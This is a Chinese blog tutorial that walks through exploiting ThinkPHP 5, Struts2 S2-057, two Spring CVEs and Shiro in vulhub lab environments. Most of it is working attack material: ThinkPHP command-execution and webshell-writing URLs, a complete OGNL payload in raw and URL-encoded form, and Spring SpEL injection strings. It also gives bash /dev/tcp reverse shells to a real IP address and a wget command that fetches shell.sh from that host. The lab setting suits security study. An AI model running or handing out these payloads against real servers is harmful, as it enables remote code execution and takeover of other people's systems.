当前位置: 首页 > news >正文

常见的框架漏洞(Thinkphp,spring,Shiro)

Thinkphp(TP)

thinkphp5x远程命令执行及getshell

rce比较出名

靶场: vulhub/thinkphp/5-rce

启动环境:

docker-compose up -d

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通 过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

网站url后面直接加,远程执行whoami命令

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程执行phpinfo代码

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

根目录生成1.php文件,输出phpinfo

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

struts2

Struts 2 在2007年7月23日发布的第⼀个Struts 2漏洞S2-001

S2-057远程执行代码漏洞

靶场: vulhub 靶场 /struts2/s2-057

url后面加下面代码,发现123+123执行了在url那里

/struts2-showcase/${(123+123)}/actionChain1.action

然后我们就可以构造一个反弹shell的语句

bash -i >& /dev/tcp/101.201.29.59/8888 0>&1

将它base64编码一下

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5Lzg4ODggMD4mMQ==

然后构造出下面语句,将上面构造的编码放到echo后面

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

将它进行url编码

%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5Lzg4ODggMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D

然后进行抓包,将抓的包右击改成post请求然后再改三处地方,如下

放行后监听的地方,即可反弹到shell

spring框架特征

vulhub靶场 /spring/CVE-2017-8046

[{"op":"replace","path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":"vulhub" }]

spring 代码执行(CVE-2018-1273)

打开靶场

/users

输入信息抓包

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/crz")]=&password=&repeatedPassword=

反弹shell

写一个shell.sh放在服务器下

bash -i >& /dev/tcp/101.201.29.59/6666 0>&1

然后开启一个6666端口监听

nc -lvvp 6666

然后用python开启一个简单的http服务

python3 -m http.server 81

让网站去下载我们的shell.sh

wget -qO /tmp/shell.sh http://101.201.29.59:81/shell.sh

然后进入容器终端

docker exec -it 容器名 /bin/bash

先查看一下我们刚才上传的文件在吗,然后/bin/bash执行文件

返回监听,就可以反弹到shell了

Shiro

vulhub 靶场 /shiro/CVE-2016-4437

使用BurpSuite进行抓包,在请求包中的cookie字段中添加 rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架:

使用工具

 然后反弹shell即可

http://www.dtcms.com/a/312895.html

相关文章:

  • 常见的框架漏洞
  • IO流-对象流
  • MCP革命:AI世界的“USB-C”接口如何重塑智能体与外部工具的连接
  • 均线:从市场脉搏到量子计算的时空密码
  • K8S几种常见CNI深入比较
  • Qt::AA_DontCreateNativeWidgetSiblings使用注意事项
  • 游戏设计原理
  • Flutter开发 dart异步
  • Linux网络编程 ---五种IO模型
  • 基于 Spring Boot + Vue 实现人脸采集功能全流程
  • Python----大模型(从预训练到分布式优化的核心技术解析)
  • 2、RabbitMQ的5种模式基本使用(Maven项目)
  • 迈向透明人工智能: 可解释性大语言模型研究综述
  • ubuntu apt安装与dpkg安装相互之间的关系
  • Python 实例属性与方法命名冲突:一次隐藏的Bug引发的思考
  • 途游Android面试题及参考答案
  • 【GitHub探索】Agent开发平台CozeStudio开源版本踩坑体验
  • pycharm上如何添加conda环境
  • 嵌入式 C 语言入门:多文件编程实践笔记 —— 从文件创建到调用
  • 为何:内存数据断电即逝,硬盘数据牢笼长存
  • LangChain框架概念及简单的使用案例
  • ABP VNext + CloudEvents:事件驱动微服务互操作性
  • 计算机核心概念辨析与解析
  • 24SpringCloud黑马商城部署Java应用后浏览器访问数据库不显示数据的解决办法
  • 可持久化线段树 系列 题解
  • 【Python✨】解决 Conda 安装 MoviePy 报错问题
  • GitCode疑难问题诊疗
  • 12.Redis 主从复制
  • deep research|从搜索引擎到搜索助手的实践(一)
  • 企业自动化交互体系的技术架构与实现:从智能回复到自动评论—仙盟创梦IDE